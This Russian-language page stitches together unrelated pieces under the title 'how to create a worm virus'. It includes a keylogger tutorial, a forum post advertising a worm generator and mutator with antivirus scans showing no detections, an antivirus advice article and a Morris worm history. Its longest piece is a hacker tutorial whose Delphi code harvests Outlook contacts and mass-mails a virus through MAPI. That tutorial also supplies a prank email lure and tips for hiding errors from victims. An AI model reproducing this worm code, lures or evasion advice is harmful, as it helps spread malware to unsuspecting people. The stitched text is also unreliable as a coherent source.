Как создать червяка вирус
Хакерский мир можно условно разделить на три группы атакующих:
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Вторая версия кода:
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Данный пакет включает три программы:
1) Творец Червей 1.2 FREEWARE (c) MW.
2) Генератор Мутантов 1.0 FREEWARE (c) MW.
3) Поиск, уничтожение продуктов Творца (c) MW.
Данные программы служат для создания компьютерных червей.
Червь - это разновидность компьютерных вирусов. Червь представляет собой файл, при запуске которого происходит заражение директорий на заранее указанных дисках.
1) Программа Творец Червей 1.2 (CR_W12.EXE) позволяет создать исходник (WORM.PAS) и готовый червь (WORM.EX_). Для активации червя необходимо у файла WORM.EX_ расширение "EX_" изменить на "EXE". Подробная инструкция - CR_W12.TXT.
2) Программа Генератор Мутантов 1.0 (CR_W_MUT.EXE) мутирует исходник WORM.PAS и в результате получается мутированный червь с новой сигнатурой (папка "MUTANT"). Также эта программа позволяет сжать тело червя, используя упаковщик UPX. Из одного червя можно сделать до 100 мутантов за один раз. Подробная инструкция - CR_W_MUT.TXT.
3) Поиск, уничтожение продуктов червя (находится в папке antivir) служит для поиска и удаления червей созданных Творцом.
_____________________
++ метод заражения учитывающий наличие файлов в папке (имена файлов червей зависят от уже существующий файлов, например при наличии файла "info.txt" заразит папку файлом "info.exe").
++ Автозапуск червя через папку "Автозапуск" работает во всех версиях Windows.
++ Оптимизирована процедура запрета доступа к сайтам антивирусов. Появилась возможность добавления списка других сайтов для блокировки доступа к ним.
++ возможность учета минимального количество файлов в папке при заражении.
---------------
Это что-бы меня потом не обвиняли в распространении вредоносного ПО ! :)
Это всё для ознакомления, а пароль могут ввести пользователи только сознательно, осознавая все возможные последствия, как-бы я ответственности не несу за возможный вред этих файлов, это кстати написано в правилах.
И ещё червь довольно-таки старый ему более пяти лет, тем-более написан по мойму на паскале.
И ещё червь довольно-таки старый ему более пяти лет, тем-более написан по мойму на паскале.
A-Squared(Emisoft AntiMalware) Clean
AhnLab V3 Internet Security Clean
ArcaVir Clean
Avast Clean
Avg Clean
Avira Clean
Ad-Aware Trojan.Win32.Generic!BT
Baidu AV Clean
BitDefender Clean
BKav Clean
BullGuard Internet Security Clean
ClamAv Win.Trojan.Autoit-1372
Comodo Clean
Dr. Web Clean
eScan Clean
eTrust-Vet Clean
ESET NOD32 @Trojan.Win32\/Autoit.NSF
Fortinet Clean
Gdata Clean
K7Ultimate Trojan ( 700000111 )
Kaspersky Internet Security 2013 Trojan.Win32.Autoit.dfn
mcafee Clean
Microsoft Security Essentials Clean
nProtect Trojan.Win32.Autoit.dfn
NANO Antivirus Clean
Norton Internet Security Clean
PC Tools Clean
Solo Clean
TotalDefense Clean
Webroot Clean
360 @Trojan.Win32\/Autoit.NSF
Result: ( 0/60 )
A-Squared(Emisoft AntiMalware) Clean - Nothing Found
Agnitum Clean - Nothing Found
AhnLab V3 Internet Security Clean - Nothing Found
ArcaVir Clean - Nothing Found
Avast Clean - Nothing Found
Avg Clean - Nothing Found
Avira Clean - Nothing Found
Ad-Aware Clean - Nothing Found
Baidu AV Clean - Nothing Found
BitDefender Clean - Nothing Found
BKav Clean - Nothing Found
BullGuard Internet Security Clean - Nothing Found
ByteHero Clean - Nothing Found
ClamAv Clean - Nothing Found
Comodo Clean - Nothing Found
Total Defense IS Clean - Nothing Found
Dr. Web Clean - Nothing Found
eScan Clean - Nothing Found
eTrust-Vet Clean - Nothing Found
eScan Internet Security Suite 14 Clean - Nothing Found
ESET NOD32 Clean - Nothing Found
Fortinet Clean - Nothing Found
Fprot Clean - Nothing Found
FSB Antivirus Clean - Nothing Found
F-Secure Clean - Nothing Found
Gdata Clean - Nothing Found
Ikarus Clean - Nothing Found
Immunet Antivirus Clean - Nothing Found
IObit Malware Fighter Clean - Nothing Found
K7Ultimate Clean - Nothing Found
Kaspersky Internet Security 2013 Clean - Nothing Found
KingSoft Clean - Nothing Found
mcafee Clean - Nothing Found
Microsoft Security Essentials Clean - Nothing Found
nProtect Clean - Nothing Found
NANO Antivirus Clean - Nothing Found
Netgate Clean - Nothing Found
Norton Internet Security Clean - Nothing Found
Norman Clean - Nothing Found
Outpost Security Suite Pro Clean - Nothing Found
Ozone AV Clean - Nothing Found
Panda Antivirus Clean - Nothing Found
Panda Cloud Clean - Nothing Found
PC Tools Clean - Nothing Found
Quick Heal Clean - Nothing Found
SUPERAntiSpyware Clean - Nothing Found
Solo Clean - Nothing Found
TotalDefense Clean - Nothing Found
Trendmicro Internet Security Clean - Nothing Found
TrustPort Antivirus 2014 Clean - Nothing Found
Twister Antivirus 8 Clean - Nothing Found
Unthreat AntiVirus BE Clean - Nothing Found
Vba 32 Clean - Nothing Found
Vexira Clean - Nothing Found
Vipre Internet Security 2013 Clean - Nothing Found
VirIT Clean - Nothing Found
Webroot Clean - Nothing Found
Zillya Clean - Nothing Found
Zoner Clean - Nothing Found
360 Clean - Nothing Found
Компьютерные вирусы, вредоносное ПО – все это губительно для операционной системы. Что же делать? Как победить ненавистные вирусные программы? Начинающие пользователи скажут, что достаточно установить антивирус. Но не все так просто. Ведь чтобы победить вирус, необходимо знать к какому виду он относится.
Одна из самых распространенных вредоносных программ – вирус-червь. Как обезопасить свой компьютер от проникновения этого незваного гостя, и что он вообще собой представляет?
Виды сетевых червей
Компьютерный вирус-червь подразделяется на три категории, которые существенно отличаются по своим характеристикам и наносимому устройству вреду.
Как и с какой целью распространяются сетевые черви?
Подобные вирусы распространяются хакерами для достижения разных целей. Некоторые программы созданы для перехвата управления устройством. При этом сам пользователь никогда не заметит то, что делает вирус-червь. Другие же используют зараженный компьютер как способ распространения вируса через все доступные сети, как локальные, так и глобальные.
Для распространения червя хакеры придумали достаточно много разных способов. Чаще всего встречается вирус, который изначально пользователь должен сам запустить на своем компьютере. Это может быть электронное вложение или какая-нибудь мини-программа, скачанная из Интернета. Однако есть и те, которым для заражения устройства не требуется чужого вмешательства, они самостоятельно осуществляют проникновение.
Как защититься?
Чтобы не допустить заражения компьютера вирусом, необходимо знать о средствах защиты. Многие скажут, что достаточно будет любой антивирусной программы, ведь она сразу же блокирует вирусы при попадании в систему. На самом деле это не так. Антивирусная программа не сможет вовремя предотвратить попадание червя на устройство, так как она просто предупреждает об обнаружении вредоносной программы на том или ином сайте. Большинство пользователей не придают этому значения, запуская или скачивая зараженный файл себе на компьютер.
Отличным вариантом для защиты от подобного рода ПО является проактивная технология. В отличие от обычных антивирусных программ, такая технология будет предотвращать заражение системы, а не осуществлять поиск уже известных вирусов на жестких дисках. При этом вирус будет заблокирован, только если он представляет собой реальную угрозу ОС.
Сетевой червь: как удалить вирус?
Если вредоносное ПО все-таки попало на компьютер, необходимо немедленно его удалить. Но как удалить вирус так, чтобы не повредить операционную систему? В такой ситуации на помощь неопытным пользователям придут антивирусы. К счастью, их установка не займет много времени.
- Kaspersky Rescue Disk – программа, позволяющая очистить жесткие диски от вирусов путем управления системой. Чтобы начать работу с программой, нужно записать загрузочный диск через ISO-образ. А после просто запустить операционную систему в BIOS через него.
- Kaspersky Virus Removal Tool больше подойдет для начинающих пользователей и тех, кто еще не разобрался в тонкостях системы. Он осуществляет поиск вредоносных программ на компьютере и удаляет их из системы. Однако справиться он может не со всеми видами вирусов.
- Dr.Web CureIt вполне может заменить предыдущую антивирусную программу. Его огромный минус в том, что сканирование жестких дисков осуществляется очень долго. Порой это может занять около десяти часов. Конечно, такая долгая проверка является знаком того, что программа тщательно сканирует каждый файл. Однако найдется не много желающих потратить весь день на поиск одного вируса.
Меры предосторожности
Чтобы оградить себя от нападений хакеров через вирусы, необязательно устанавливать на компьютере кучу специальных защитных программ. Достаточно соблюдать меры предосторожности в сети, тогда ни один вредоносный файл не попадет на устройство.
- Если на электронную почту пришло важное сообщение с вложением, не стоит спешить его открывать. Сначала необходимо сохранить вложение на диск, а потом запустить его, используя какой-либо браузер. Возможно, вместо текстового документа или фотографии на компьютер поступил исполняемый файл.
- Ни в коем случае нельзя запускать какую-либо программу, которая поступила на электронную почту с незнакомого адреса. Скорее всего, на устройство пришел хакерский файл.
- Даже если вложение пришло с уже знакомого e-mail, не стоит спешить его открывать. Прежде всего, необходимо просканировать его антивирусом. Не исключено, что электронный адрес, с которого пришло письмо, уже заражен вредоносным ПО и теперь просто отправляет рассылку по всем сохраненным контактам.
- Признаком того, что в присланном вложении будет вирус, может послужить какая-либо сенсационная новость в сообщении. Это просто приманка для того, чтобы пользователь заинтересовался содержанием и из любопытства открыл зараженный файл.
Сегодня я опишу тебе принцип работы сетевого вируса. Тема, как ты понял, весьма актуальная, поскольку 70% лично моего ящика всегда бывает забита вирусами самого разного пошиба
- от мелких, но злобных VBS-червей до полуторамеговых произведений младших школьников 🙂 Они-то ведь не знают про существование WinAPI 🙂
Для проникновения на компьютер вирусы могут либо использовать баги в ПО юзера (VBS+Outlook= love:)) либо- баги в голове самого юзера. Рассмотрим пример такого вирусного письма:
Subj: Прикол
Привет! Держи крутой прикол, который я тебе (или не тебе, не помню :)) Обещал. Но все равно держи. Не бойся, по-настоящему он ничего не форматирует!
Проверить не забудь, параноик 🙂
Успехов!
Attach: fake_format.exe
Ну так вот: каждый ламероватый интернетчик посылает своим друзьям приколы постоянно, и, соответственно, не очень-то помнит, кому чего обещал; сообщение о "ненастоящем форматировании" переключает мозги жертвы в русло приколов, а слепая вера в антивирусы
- добивает 🙂 Напомню - описанные мной алгоритмы не определяются никакими webами, avp и другими бойцами.
Короче, мне самому уже захотелось запустить этот веселенький прикол. Запускаю 🙂
Error. intel pentium 5 not found!
Ой.. Вроде как не работает? Не, не угадал 🙂 На самом деле вирус тут же перенес свое тело на хард к жертве, записался в автозагрузку, и теперь будет тусоваться в оперативочке (хинт: на медицинском жаргоне "оперативка"- это ОПЕРАТИВНАЯ ХИРУРГИЯ, так что будь осторожен ;)) жертвы по принципу, описанному мной в статье "резидентный вирус своими руками". Только вот проверять он будет не запуск файлов, а подключение к сети интернет 🙂 (в исходнике это будет процедура IsOnline, так, на будущее ;)). Впрочем, одновременно
мониторить запуск файлов тебе никто не мешает
- это все-таки вирус, хоть и сетевик. Поэтому в логику я включу процедуру InfectFile. Таким образом, мы будем использовать следующие функции и процедуры:
ISONLINE - проверка соединения с инетом
SENDVIRUS - догадайся с трех раз 😉
GETMAILS - получаем адреса из AddresBook аутглюка
INFECTFILES - 🙂
WORKMEMORY - почти то же, что в прошлой статье, но с модификациями.
До начала собственно кодига на этот раз необходимы будут долгие предварительные ласки 🙂 Объясняю почему: для чтения адресной книги мы будем обращаться к аутлуку по межпрограммному интерфейсу, а для этого нам нехило поиметь его type library. Вот и делай: projectа import type library, и ищи там…правильно, Outlook express v.9 или какой там у тебя стоит. Девятой считается версия, если не ошибаюсь, из Office2k. Импортировал? Что значит "нет в списке"? Да ладно, бывает. Ищи вручную
- в каталоге с офисом есть файл msoutl.olb. Это она 😉 Теперь в раздел uses пиши outlook_tlb и будешь иметь доступ к самым интимным местам адресной книги 🙂 Ой, какой-то я сегодня озабоченный 😉
В общем, процедура потрошения адресбука должна выглядеть как:
uses
ComObj, outlook_tlb,
Forms;
.
Procedure GETMAILS;
var
MyFolder, MSOutlook, MyNameSpace, MyItem: Variant; s: string;
num, i: Integer;
mails: array of string;
begin
MSOutlook := CreateOleObject('Outlook.Application');
MyNameSpace := MSOutlook.GetNameSpace('MAPI');
MyFolder := MyNamespace.GetDefaultFolder(olFolderContacts);
SetLength (mails,MyFilder.Items.Count);
for i := 1 to MyFolder.Items.Count do
begin
MyItem := MyFolder.Items[i];
mails[i]:= myitem.email1addres;
end;
Ну как, порадовало тебя написанное? Гы, дальше будет только хуже. Потому что отправка вируса будет на чистом API. А это, как говорит Horrific: "то же самое, что ручной секс. Эффект есть в обоих случаях, но его приходится долго добиваться и нет такого кайфа" 🙂 Ну
так что я тут понаписал? Uses Comobj позволяет нам работать с COM технологией; далее мы только создаем OLE объект аутлука, и циклически выясняем у него список емайлов. Если тебе хочется выяснить еще что-нибудь
- это тоже реально, читай доки - они рулез. Хоть и на английском. Список емайлов пишется в динамический массив из строчек. Его будет юзать функция SendVirus. Вот эта:
function SendVirus(const RecipName, RecipAddress, Subject, Attachment: string): Boolean;
var
MapiMessage: TMapiMessage;
MapiFileDesc: TMapiFileDesc;
MapiRecipDesc: TMapiRecipDesc;
i: integer;
s: string;
begin
with MapiRecipDesc do begin
ulRecerved:= 0;
ulRecipClass:= MAPI_TO;
lpszName:= PChar(RecipName);
lpszAddress:= PChar(RecipAddress);
ulEIDSize:= 0;
lpEntryID:= nil;
end;
with MapiFileDesc do begin
ulReserved:= 0;
flFlags:= 0;
nPosition:= 0;
lpszPathName:= PChar(Attachment);
lpszFileName:= nil;
lpFileType:= nil;
end;
with MapiMessage do begin
ulReserved := 0;
lpszSubject := nil;
lpszNoteText := PChar(Subject);
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 1;
lpRecips := @MapiRecipDesc;
if length(Attachment) > 0 then begin
nFileCount:= 1;
lpFiles := @MapiFileDesc;
end else begin
nFileCount:= 0;
lpFiles:= nil;
end;
end;
Result:= MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG
or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;
Ты не опух, пока это читал? Пойди, попей пивка, а то ничего не поймешь.
Выпил? Я тоже 😉 Хорошо, продолжаем. Юзать будешь так:
For i:= 1 to length (mails) do
begin
SendVirus ('',mails[i],'pricol','..');
end;
Здесь мы задействуем функции uses MAPI, поэтому не забудь его объявить. Короче, это
- низкоуровневая работа с почтой. А для работы с почтой, как ты знаешь, надо иметь а)
email получателя б) текст письма в) аттач. Вот я и делаю:
MapiRecipDesc - описываю получателя, MapiFileDesc - аттач,
т.е. наш вирус, MapiMessage - это сообщение, потом я его командой MapiSendMail отправлю в большую жизнь 😉 Ну, не так это оказалось и сложно. Главное понять, что твой самый большой друг
- это не c:\porno, а win32.hlp 🙂
Как же теперь все это словоблудие уложить в суровую логику вируса? Сам разберешься, я тебе уже 2 статьи подряд об этом долблю. И вообще, я вчера отмечал день рождения моей девушки, теперь у меня слегка трещит голова 🙂 Ну ладно, чувство долга сильнее. Just Do It:
первой строчкой проверяешь имя файла, откуда ты стартовал. Если
pricol.exe - значит CopyFile к виндам 🙂 А если стартанул из виндового каталога
- то циклически проверяй подключение к всемирной 😉 сети. Проверяем:
function IsOnline: Boolean;
var
RASConn: TRASConn;
dwSize,dwCount: DWORD;
begin
RASConns.dwSize:= SizeOf(TRASConn);
dwSize:= SizeOf(RASConns);
Res:=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
Result:= (Res = 0) and (dwCount > 0);
end;
Так. Если все путем, то вперед - тряси адресную книгу и рассылайся . Тут есть две хитрости. Если твое имя
pricol.exe - незамедлительно проверяй соединение. Возможно, пользователь проверяет почту в онлайне. Так наши шансы на рассылку сильно возрастут. До второй хитрости ты уже допер сам,
а именно, при описанном мной раскладе ты будешь все время отправлять одному и тому же юзеру одинаковые письма, только потому, что его не стерли из адресбука. Следовательно, все отработанные адреса записывай в логфайл и постоянно с ним сверяйся. Вроде бы все. Хотя нет. Не забывай ошибкоопасные фрагменты кода заключать в try..except. И ставить ключ <$D->. Потому что если юзер вдруг поймает ошибку в духе "'FUCK' is not valid integer value", он что-то да заподозрит.
ЗАКЛЮЧЕНИЕ
Эта последняя статья про вирусы, отлаженные под windows 9x. Недавно я форматнул винт, и поставил WindowsXP Professional, поэтому следующие примеры будут уже под него. А ты уже можешь потихоньку покупать Delphi 7, поскольку я свои шестые где-то посеял, и сейчас сижу вообще голый 🙂 Покупать буду, соответственно, седьмые 😉
Следующая статья, наверное будет посвящена стеганографии и ее практической реализации.
Когда появился червь Морриса и кто его автор
Все изменилось с появлением червя Морриса в ноябре 1988-го. Он не проектировался как сверхэффективный вирус, но стал таковым из-за ошибки его создателя, а также беспечности админов — они не были готовы к появлению подобного вредоноса. Итог — до $100 млн экономического ущерба. Правда, вокруг этой суммы ходит много споров.
Червь Морриса получил такое название по имени своего создателя — Роберта Морриса. Роберт родился в 1965 году, его отец был специалистом в области криптографии, работал в Bell Labs и помогал в разработке Multics и Unix. То есть будущему программисту было у кого поучиться.
Дополнительной драмы добавляло то, что его отец в то время уже являлся сотрудником Агентства национальной безопасности. Он занимал руководящий пост в подразделении, ответственном за IT-безопасность систем федерального правительства.
Червь Морриса нередко называют первым сетевым червем, однако он может считаться таковым лишь потому, что это первая подобная программа, расползшаяся чуть ли не по всему интернету. Интернет, напомним, тогда был совсем небольшим и имел мало общего с тем, что позже придумал Тим Бернерс-Ли.
Эксперимент по измерению интернета пошел не так
Роберт задумывал свое детище якобы как экспериментальный проект. Он должен был измерить тот самый интернет — об этом программист заявил позже. Оригинальный мотив в 1988 году мог быть иным. На это указывает и то, что парень тщательно пытался замести следы, отправляя червя в свободное плавание из кампуса MIT, а не из своей альма-матер.
Код писался для запуска на компьютерах VAX компании Digital Equipment Corporation и SUN под управлением BSD UNIX. Роберт использовал несколько уязвимостей, в том числе в программах sendmail (отвечает за работу с электронной почтой) и fingerd (получение некоторых данных о пользователе). Также эксплуатировались иные дыры, позволявшие узнать пароли локального пользователя.
В sendmail, например, после ряда исправлений имелся баг: в определенных условиях можно было запустить дебаг (внезапно: отправив команду debug). Тогда sendmail позволяла вместо адресов указывать дополнительные инструкции. На деле, конечно, все не так просто, но и особых изысков Роберту придумывать не пришлось.
Защиту продумал, выключатель не предусмотрел
Парень посчитал, что админы очень скоро заметят вторжение и предпримут шаги для защиты. Например, заставят червя думать, что его копия уже установлена. 23-летний программист учел и это. Его код действительно проверял наличие копии себя на чужом компьютере, однако в 14% случаев устанавливался, невзирая на полученный отклик. Есть фейк? Все равно установлюсь. Есть другая копия? Да кто ж поймет, все равно установлюсь.
Серверы тем временем раз за разом выполняли бесконечные команды, подаваемые червем, полностью парализующим работу систем: программа Морриса работала исключительно в оперативной памяти. Данный факт также не позволял изучить файлы червя, которые удалялись в случае отключения. В дампах обнаружить проблему не удавалось, так как червь отключал сбор подобной информации. fork, в свою очередь, решал проблему с поиском вредного процесса, который регулярно менял название.
Наказание — общественное порицание и штраф
На определение авторства ушло время. Есть версия, согласно которой отец 23-летнего парня рекомендовал ему самому рассказать о себе властям. Походит на правду, учитывая пост Морриса-старшего и его непосредственную связь с правительством и нацбезопасностью.
Как бы то ни было, в 1989 году Роберт предстал перед судом, став первым человеком, обвиненным по новой статье о компьютерных преступлениях — Computer Fraud and Abuse Act. Ему грозило до пяти лет тюрьмы и четверть миллиона долларов штрафа. Он отделался тремя годами условно, $10 тыс. штрафа и 400 часами общественных работ (такое наказание программист посчитал чрезмерным, но апелляцию отклонили).
Считается, что история с червем Морриса подняла несколько не очевидных тогда моментов развития интернета и распространения компьютеров. Оказалось, что вирусы могут быть разными и очень заразными, а бороться с ними не так уж просто. Пользователи узнали о темной стороне сети, а власти поняли, что существующие системы безопасности могут выйти из строя в мгновение ока и поделать с этим ничего нельзя.
Роберт Моррис, в свою очередь, пережил свалившуюся на него популярность. Спустя шесть лет после инцидента он основал стартап Viaweb, который был продан Yahoo! за $49 млн. Моррис воспользовался случаем, взял перерыв, отучился и получил степень, сразу устроившись на работу в MIT.
В 2005 году он с давним партнером Полом Грэмом основал Y Combinator и продолжил академическую карьеру. Из последних его достижений можно отметить тот факт, что в 2019 году Моррис стал членом Национальной инженерной академии США. Хороший был старт, хотя несколько темных пятен в истории осталось.
Читайте также: